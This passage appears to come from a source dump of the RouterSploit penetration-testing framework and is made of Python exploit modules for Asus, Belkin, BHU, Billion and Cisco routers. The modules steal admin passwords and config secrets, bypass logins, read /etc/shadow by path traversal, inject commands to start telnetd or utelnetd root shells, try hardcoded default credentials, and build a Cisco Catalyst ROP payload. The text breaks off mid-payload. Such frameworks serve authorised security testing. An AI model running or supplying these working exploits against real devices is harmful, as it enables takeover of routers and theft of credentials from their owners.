    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Asus RT-N16 Password Disclosure\",\n        \"description\": \"Module exploits password disclosure vulnerability in Asus RT-N16 devices that allows to fetch credentials for the device.\",\n        \"authors\": (\n            \"Harry Sintonen\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://sintonen.fi/advisories/asus-router-auth-bypass.txt\",\n        ),\n        \"devices\": (\n            \"ASUS RT-N10U, firmware 3.0.0.4.374_168\",\n            \"ASUS RT-N56U, firmware 3.0.0.4.374_979\",\n            \"ASUS DSL-N55U, firmware 3.0.0.4.374_1397\",\n            \"ASUS RT-AC66U, firmware 3.0.0.4.374_2050\",\n            \"ASUS RT-N15U, firmware 3.0.0.4.374_16\",\n            \"ASUS RT-N53, firmware 3.0.0.4.374_311\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/error_page.htm\",\n        )\n        if response is None:\n            return\n\n        creds = re.findall(r\"if\\('1' == '0' \\|\\| '(.+?)' == 'admin'\\)\", response.text)\n\n        if len(creds):\n            c = [(\"admin\", creds[0])]\n            print_success(\"Credentials found!\")\n            headers = (\"Login\", \"Password\")\n            print_table(headers, *c)\n        else:\n            print_error(\"Credentials could not be found\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/error_page.htm\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        creds = re.findall(r\"if\\('1' == '0' \\|\\| '(.+?)' == 'admin'\\)\", response.text)\n\n        if len(creds):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/auth_bypass.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin Auth Bypass\",\n        \"description\": \"Module exploits Belkin authentication using MD5 password disclosure.\",\n        \"authors\": (\n            \"Gregory Smiley <gsx0r.sec[at]gmail.com>\",  # vulnerability discovery\n            \"BigNerd95 (Lorenzo Santina)\",  # improved exploit and routersploit module\n        ),\n        \"references\": (\n            \"https://securityevaluators.com/knowledge/case_studies/routers/belkin_n900.php\",\n            \"https://www.exploit-db.com/exploits/40081/\",\n        ),\n        \"devices\": (\n            \"Belkin Play Max (F7D4401)\",\n            \"Belkin F5D8633\",\n            \"Belkin N900 (F9K1104)\",\n            \"Belkin N300 (F7D7301)\",\n            \"Belkin AC1200\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            payload = \"pws=\" + val[0] + \"&arc_action=login&action=Submit\"\n\n            login = self.http_request(\n                method=\"POST\",\n                path=\"/login.cgi\",\n                data=payload\n            )\n            if login is None:\n                return\n\n            error = re.search('loginpserr.stm', login.text)\n\n            if not error:\n                print_success(\"Exploit success, you are now logged in!\")\n                return\n\n        print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/g_n150_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin G & N150 Password Disclosure\",\n        \"description\": \"Module exploits Belkin G and N150 Password MD5 Disclosure vulnerability which allows fetching administration\\'s password in md5 format\",\n        \"authors\": (\n            \"Aodrulez <f3arm3d3ar[at]gmail.com>\",  # vulnerability discovery\n            \"Avinash Tangirala\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2765\",\n            \"https://www.exploit-db.com/exploits/17349/\",\n        ),\n        \"devices\": (\n            \"Belkin G\",\n            \"Belkin N150\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            print_success(\"Exploit success\")\n            data = [('admin', val[0])]\n            headers = (\"Login\", \"MD5 Password\")\n            print_table(headers, *data)\n\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/g_plus_info_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin G Info Disclosure\",\n        \"description\": \"Module exploits Belkin Wireless G Plus MIMO Router F5D9230-4 information disclosure \"\n                       \"vulnerability which allows fetching sensitive information such as credentials.\",\n        \"authors\": (\n            \"DarkFig\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0403\",\n            \"https://www.exploit-db.com/exploits/4941/\",\n        ),\n        \"devices\": (\n            \"Belkin G\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/SaveCfgFile.cgi\",\n        )\n        if response is None:\n            return\n\n        var = [\n            'pppoe_username',\n            'pppoe_password',\n            'wl0_pskkey',\n            'wl0_key1',\n            'mradius_password',\n            'mradius_secret',\n            'httpd_password',\n            'http_passwd',\n            'pppoe_passwd'\n        ]\n\n        data = []\n        for v in var:\n            regexp = '{}=\"(.+?)\"'.format(v)\n\n            val = re.findall(regexp, response.text)\n            if len(val):\n                data.append((v, val[0]))\n\n        if len(data):\n            print_success(\"Exploit success\")\n            headers = (\"Option\", \"Value\")\n            print_table(headers, *data)\n\n        else:\n            print_error(\"Exploit failed\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/SaveCfgFile.cgi\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        var = [\n            'pppoe_username',\n            'pppoe_password',\n            'wl0_pskkey',\n            'wl0_key1',\n            'mradius_password',\n            'mradius_secret',\n            'httpd_password',\n            'http_passwd',\n            'pppoe_passwd'\n        ]\n\n        if any(map(lambda x: x in response.text, var)):\n            return True   # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/n150_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin N150 Path Traversal\",\n        \"description\": \"Module exploits Belkin N150 Path Traversal vulnerability \"\n                       \"which allows to read any file on the system.\",\n        \"authors\": (\n            \"Aditya Lad\",  # vulnerability discovery\n            \"Rahul Pratap Singh\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/38488/\",\n            \"http://www.belkin.com/us/support-article?articleNum=109400\",\n            \"http://www.kb.cert.org/vuls/id/774788\",\n        ),\n        \"devices\": (\n            \"Belkin N150 1.00.07\",\n            \"Belkin N150 1.00.08\",\n            \"Belkin N150 1.00.09\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read from filesystem\")\n\n    def run(self):\n        if self.check():\n            path = \"/cgi-bin/webproc?getpage={}&var:page=deviceinfo\".format(self.filename)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200 and len(response.text):\n                print_success(\"Success! File: %s\" % self.filename)\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/webproc?getpage=/etc/passwd&var:page=deviceinfo\",\n        )\n\n        if response and utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/n750_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin N750 RCE\",\n        \"description\": \"Module exploits Belkin N750 Remote Code Execution vulnerability which allows executing commands on operation system level.\",\n        \"authors\": (\n            \"Marco Vaz <mv[at]integrity.pt>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1635\",\n            \"https://www.exploit-db.com/exploits/35184/\",\n            \"https://labs.integrity.pt/articles/from-0-day-to-exploit-buffer-overflow-in-belkin-n750-cve-2014-1635/\",\n        ),\n        \"devices\": (\n            \"Belkin N750\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n        data = \"GO=&jump=\" + \"A\" * 1379 + \";{};&ps=\\n\\n\".format(cmd)\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/login.cgi.php\",\n            headers=headers,\n            data=data,\n        )\n        if response is None:\n            return \"\"\n\n        return response.text\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/belkin/play_max_prce.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Belkin Play Max Persistent RCE\",\n        \"description\": \"Module exploits Belkin SSID injection vuln, allowing to execute arbitrary command at every boot.\",\n        \"authors\": (\n            \"BigNerd95 (Lorenzo Santina) https://github.com/bignerd95\",  # vulnerability discovery and routersploit module\n        ),\n        \"references\": (\n            \"https://bignerd95.blogspot.it/2017/02/belkin-play-max-persistent-remote.html\",\n            \"https://gist.github.com/BigNerd95/c18658b472ac0ccf4dbbc73fe988b683\",\n        ),\n        \"devices\": (\n            \"Belkin Play Max (F7D4401)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    cmd = OptString(\"telnetd\", \"Command to execute\")\n\n    def auth_bypass(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return False\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            payload = \"pws=\" + val[0] + \"&arc_action=login&action=Submit\"\n\n            login = self.http_request(\n                method=\"POST\",\n                path=\"/login.cgi\",\n                data=payload\n            )\n            if login is None:\n                return False\n\n            error = re.search('loginpserr.stm', login.text)\n\n            if not error:\n                print_success(\"Exploit success, you are now logged in!\")\n                return True\n\n        print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n        return False\n\n    def inject_command(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/wireless_id.stm\",\n        )\n        if response is None:\n            print_error(\"Exploit failed. No response from target!\")\n            return\n\n        srcSSID = re.search(r\"document\\.tF\\['ssid'\\]\\.value=\\\"(.*)\\\";\", response.text)\n        if srcSSID:\n            SSID = srcSSID.group(1)\n        else:\n            print_error(\"Exploit failed. Are you logged in?\")\n            return\n\n        if len(SSID) + 2 + len(self.cmd) > 32:\n            newlen = 32 - len(self.cmd) - 2\n            SSID = SSID[0:newlen]\n            print_status(\"SSID too long, it will be truncated to: \" + SSID)\n\n        newSSID = SSID + \"%3B\" + self.cmd + \"%3B\"\n\n        payload = \"page=radio.asp&location_page=wireless_id.stm&wl_bssid=&wl_unit=0&wl_action=1&wl_ssid=\" + newSSID + \"&arc_action=Apply+Changes&wchan=1&ssid=\" + newSSID\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/apply.cgi\",\n            data=payload,\n        )\n\n        if response is None:\n            print_error(\"Exploit failed. No response from target!\")\n            return\n\n        err = re.search(r'countdown\\(55\\);', response.text)\n        if err:\n            print_success(\"Exploit success, wait until router reboot.\")\n        else:\n            print_error(\"Exploit failed. Device seems to be not vulnerable.\")\n\n    def run(self):\n        if self.auth_bypass():\n            self.inject_command()\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/login.stm\",\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        val = re.findall(r'password\\s?=\\s?\"(.+?)\"', response.text)  # in some fw there are no spaces\n\n        if len(val):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/bhu/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/bhu/bhu_urouter_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"BHU uRouter RCE\",\n        \"description\": \"Module exploits BHU uRouter unauthenticated remote code execution vulnerability, which \"\n                       \"allows executing commands on the router with root privileges.\",\n        \"authors\": (\n            \"Tao 'depierre' Sauvage\",\n        ),\n        \"references\": (\n            \"http://www.ioactive.com/pdfs/BHU-WiFi_uRouter-Security_Advisory_Final081716.pdf\",\n        ),\n        \"devices\": (\n            \"BHU uRouter\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success('Target is vulnerable')\n            print_status('Blind command injection - response is not available')\n            print_status('Possible extraction point:')\n            print_status('\\t- Inject \"CMD &gt; /usr/share/www/routersploit.check\"')\n            print_status('\\t- The result of CMD will be available at {}:{}/routersploit.check'.format(self.target, self.port))\n            print_status(\"Invoking command loop (type 'exit' or 'quit' to exit the loop)...\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error('Target is not vulnerable')\n\n    def execute(self, cmd):\n        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}\n        data = '<cmd><ITEM cmd=\"traceroute\" addr=\"$({})\" /></cmd>'.format(cmd)\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/cgiSrv.cgi\",\n            headers=headers,\n            data=data\n        )\n        return ''  # Blind RCE so no response available\n\n    @mute\n    def check(self):\n        headers = {'Content-Type': 'text/xml', 'X-Requested-With': 'XMLHttpRequest'}\n        data = '<cmd><ITEM cmd=\"traceroute\" addr=\"$({})\" /></cmd>'\n        # Blind unauth RCE so we first create a file in the www-root directory\n        cmd_echo = data.format(u'echo &quot;$USER&quot; &gt; /usr/share/www/routersploit.check')\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/cgiSrv.cgi\",\n            headers=headers,\n            data=cmd_echo\n        )\n        if not response or u'status=\"doing\"' not in response.text:\n            return False\n        # Second we check that the file was successfully created\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/routersploit.check\",\n        )\n        if not response.status_code == 200 or u'root' not in response.text:\n            return False\n        # Third we clean up the temp file. No need to check if successful since we already check that the device was\n        # vulnerable at this point.\n        cmd_rm = data.format(\"rm -f /usr/share/www/routersploit.check\")\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/cgiSrv.cgi\",\n            headers=headers,\n            data=cmd_rm\n        )\n        return True\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/billion/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/billion/billion_5200w_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.core.telnet.telnet_client import TelnetClient\n\n\nclass Exploit(HTTPClient, TelnetClient):\n    __info__ = {\n        \"name\": \"Billion 5200W-T RCE\",\n        \"description\": \"Module exploits Remote Command Execution vulnerability in Billion 5200W-T devices. \"\n                       \"If the target is vulnerable it allows to execute commands on operating system level.\",\n        \"authors\": (\n            \"Pedro Ribeiro <pedrib[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://seclists.org/fulldisclosure/2017/Jan/40\",\n            \"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt\",\n            \"https://blogs.securiteam.com/index.php/archives/2910\",\n        ),\n        \"devices\": (\n            \"Billion 5200W-T\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    telnet_port = OptPort(9999, \"Telnet port used for exploitation\")\n\n    username = OptString(\"admin\", \"Default username to log in\")\n    password = OptString(\"password\", \"Default password to log in\")\n\n    def __init__(self):\n        # hardcoded credentials\n        self.creds = [\n            (\"admin\", \"password\"),\n            (\"true\", \"true\"),\n            (\"user3\", \"12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678\"),\n        ]\n\n    def run(self):\n        cmd = \"utelnetd -l /bin/sh -p {} -d\".format(self.telnet_port)\n\n        if self.execute1(cmd) or self.execute2(cmd):\n            print_status(\"Trying to connect to the telnet server...\")\n\n            telnet_client = self.telnet_create(port=self.telnet_port)\n            if telnet_client.connect():\n                telnet_client.interactive()\n                telnet_client.close()\n            else:\n                print_error(\"Exploit failed - Telnet connection error: {}:{}\".format(self.target, self.telnet_port))\n        else:\n            print_error(\"Exploit failed\")\n\n    def execute1(self, cmd):\n        print_status(\"Trying to exploit first command injection vulnerability...\")\n        payload = \"1.1.1.1;{};#\".format(cmd)\n\n        data = {\n            \"RemotelogEnable\": \"1\",\n            \"syslogServerAddr\": payload,\n            \"serverPort\": \"514\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/adv_remotelog.asp\",\n            data=data,\n        )\n\n        if response is not None and response.status_code != 404:\n            return True\n\n        print_error(\"Exploitation failed for unauthenticated command injection\")\n        return False\n\n    def execute2(self, cmd):\n        print_status(\"Trying authenticated commad injection vulnerability...\")\n\n        # Iterate through hardcoded credentials and these provided by the user\n        for creds in set(self.creds + [(self.username, self.password)]):\n            print_status(\"Trying exploitation with creds: {}:{}\".format(creds[0], creds[1]))\n            # Fixate cookie\n            cookies = {\n                \"SESSIONID\": utils.random_text(8)\n            }\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/\",\n                cookies=cookies,\n                auth=(creds[0], creds[1]),\n            )\n\n            if response is None:\n                return False\n\n            payload = \"\\\"%3b{}%26%23\".format(cmd)\n\n            data = {\n                \"SaveTime\": \"1\",\n                \"uiCurrentTime2\": \"\",\n                \"uiCurrentTime1\": \"\",\n                \"ToolsTimeSetFlag\": \"0\",\n                \"uiRadioValue\": \"0\",\n                \"uiClearPCSyncFlag\": \"0\",\n                \"uiwPCdateMonth\": \"0\",\n                \"uiwPCdateDay\": \"\",\n                \"&uiwPCdateYear\": \"\",\n                \"uiwPCdateHour\": \"\",\n                \"uiwPCdateMinute\": \"\",\n                \"uiwPCdateSec\": \"\",\n                \"uiCurTime\": \"N/A+(NTP+server+is+connecting)\",\n                \"uiTimezoneType\": \"0\",\n                \"uiViewSyncWith\": \"0\",\n                \"uiPCdateMonth\": \"1\",\n                \"uiPCdateDay\": \"\",\n                \"uiPCdateYear\": \"\",\n                \"uiPCdateHour\": \"\",\n                \"uiPCdateMinute\": \"\",\n                \"uiPCdateSec\": \"\",\n                \"uiViewdateToolsTZ\": \"GMT+07:00\",\n                \"uiViewdateDS\": \"Disable\",\n                \"uiViewSNTPServer\": payload,\n                \"ntp2ServerFlag\": \"N/A\",\n                \"ntp3ServerFlag\": \"N/A\",\n            }\n\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/cgi-bin/tools_time.asp\",\n                cookies=cookies,\n                data=data,\n                auth=(creds[0], creds[1]),\n            )\n            if response is None:\n                return False\n\n        return True\n\n    @mute\n    def check(self):\n        # it is not possible to check if the target is vulnerable without exploiting device\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/billion/billion_7700nr4_password_disclosure.py",
    "content": "import re\nimport base64\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Billion 7700NR4 Password Disclosure\",\n        \"description\": \"Exploits Billion 7700NR4 password disclosure vulnerability that allows to \"\n                       \"fetch credentials for admin account.\",\n        \"authors\": (\n            \"R-73eN\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/40472/\",\n        ),\n        \"devices\": (\n            \"Billion 7700NR4\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def_user = OptString(\"user\", \"Hardcoded username\")\n    def_pass = OptString(\"user\", \"Hardcoded password\")\n\n    def run(self):\n        creds = []\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/backupsettings.conf\",\n            auth=(self.def_user, self.def_pass)\n        )\n        if response is None:\n            print_error(\"Exploit failed\")\n            return\n\n        res = re.findall('<AdminPassword>(.+?)</AdminPassword>', response.text)\n\n        if len(res):\n            print_success(\"Found strings: {}\".format(res[0]))\n\n            try:\n                print_status(\"Trying to base64 decode\")\n                password = base64.b64decode(res[0])\n            except Exception:\n                print_error(\"Exploit failed - could not decode password\")\n                return\n\n            creds.append((\"admin\", password))\n\n            print_success(\"Credentials found!\")\n            print_table((\"Login\", \"Password\"), *creds)\n        else:\n            print_error(\"Credentials could not be found\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/backupsettings.conf\",\n            auth=(self.def_user, self.def_pass),\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        res = re.findall('<AdminPassword>(.+?)</AdminPassword>', response.text)\n\n        if len(res):\n            return True  # target is vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/cisco/catalyst_2960_rocem.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.tcp.tcp_client import TCPClient\nfrom routersploit.core.telnet.telnet_client import TelnetClient\n\n\nclass Exploit(TCPClient, TelnetClient):\n    __info__ = {\n        \"name\": \"Cisco Catalyst 2960 ROCEM RCE\",\n        \"description\": \"Module exploits Cisco Catalyst 2960 ROCEM RCE vulnerability. \"\n                       \"If target is vulnerable, it is possible to patch execution flow \"\n                       \"to allow credless telnet interaction with highest privilege level.\",\n        \"authors\": (\n            \"Artem Kondratenko <@artkond>\",  # analysis & python exploit\n            \"Marcin Bury <marcin[at]threat9.com>\"  # routersploit module\n        ),\n        \"references\": (\n            \"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3881\",\n            \"https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/\",\n            \"https://www.exploit-db.com/exploits/41872/\",\n            \"https://www.exploit-db.com/exploits/41874/\",\n        ),\n        \"devices\": (\n            \"Cisco Catalyst 2960 IOS 12.2(55)SE1\",\n            \"Cisco Catalyst 2960 IOS 12.2(55)SE11\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    action = OptString(\"set\", \"set / unset credless authentication for Telnet service\")\n    device = OptInteger(-1, \"Target device - use 'show devices'\")\n\n    def __init__(self):\n        self.payloads = [\n            # Cisco Catalyst 2960 IOS 12.2(55)SE1\n            {\n                \"template\": (\n                    b\"\\xff\\xfa\\x24\\x00\" +\n                    b\"\\x03CISCO_KITS\\x012:\" +\n                    b\"A\" * 116 +\n                    # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;\n                    b\"\\x00\\x00\\x37\\xb4\" +\n                    # next bytes are shown as offsets from r1\n                    # +8  address of pointer to is_cluster_mode function - 0x34\n                    b\"\\x02\\x2c\\x8b\\x74\" +\n                    b\"{FUNC_IS_CLUSTER_MODE}\" +\n                    # +16(+0) r1 points here at second gadget\n                    b\"BBBB\" +\n                    # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;\n                    b\"\\x00\\xdf\\xfb\\xe8\" +\n                    # +8\n                    b\"CCCC\" +\n                    # +12\n                    b\"DDDD\" +\n                    # +16(+0) r1 points here at third gadget\n                    b\"EEEE\" +\n                    # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;\n                    b\"\\x00\\x06\\x78\\x8c\" +\n                    # +8  r1+8 = 0x022c8b60\n                    b\"\\x02\\x2c\\x8b\\x60\" +\n                    # +12\n                    b\"FFFF\" +\n                    # +16(+0) r1 points here at fourth gadget\n                    b\"GGGG\" +\n                    # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;\n                    b\"\\x00\\x6b\\xa1\\x28\" +\n                    b\"{FUNC_PRIVILEGE_LEVEL}\" +\n                    # +12\n                    b\"HHHH\" +\n                    # +16(+0) r1 points here at fifth gadget\n                    b\"IIII\" +\n                    # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;\n                    b\"\\x01\\x48\\xe5\\x60\" +\n                    # +8 r1 points here at third gadget\n                    b\"JJJJ\" +\n                    # +12\n                    b\"KKKK\" +\n                    # +16\n                    b\"LLLL\" +\n                    # +20 original execution flow return addr\n                    b\"\\x01\\x13\\x31\\xa8\" +\n                    b\":15:\" + b\"\\xff\\xf0\"\n                ),\n                \"func_is_cluster_mode\": {\n                    # +12 set  address of func that rets 1\n                    \"set\": b\"\\x00\\x00\\x99\\x80\",\n                    # unset\n                    \"unset\": b\"\\x00\\x04\\xea\\x58\"\n                },\n                \"func_privilege_level\": {\n                    # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;\n                    \"set\": b\"\\x00\\x12\\x52\\x1c\",\n                    # unset\n                    \"unset\": b\"\\x00\\x04\\xe6\\xf0\"\n                }\n            },\n\n            # Cisco Catalyst 2960 IOS 12.2(55)SE11\n            {\n                \"template\": (\n                    b\"\\xff\\xfa\\x24\\x00\" +\n                    b\"\\x03CISCO_KITS\\x012:\" +\n                    b\"A\" * 116 +\n                    # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;\n                    b\"\\x00\\x00\\x37\\xb4\" +\n                    # next bytes are shown as offsets from r1\n                    # +8  address of pointer to is_cluster_mode function - 0x34\n                    b\"\\x02\\x3d\\x55\\xdc\" +\n                    b\"{FUNC_IS_CLUSTER_MODE}\" +\n                    # +16(+0) r1 points here at second gadget\n                    b\"BBBB\" +\n                    # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;\n                    b\"\\x00\\xe1\\xa9\\xf4\" +\n                    # +8\n                    b\"CCCC\" +\n                    # 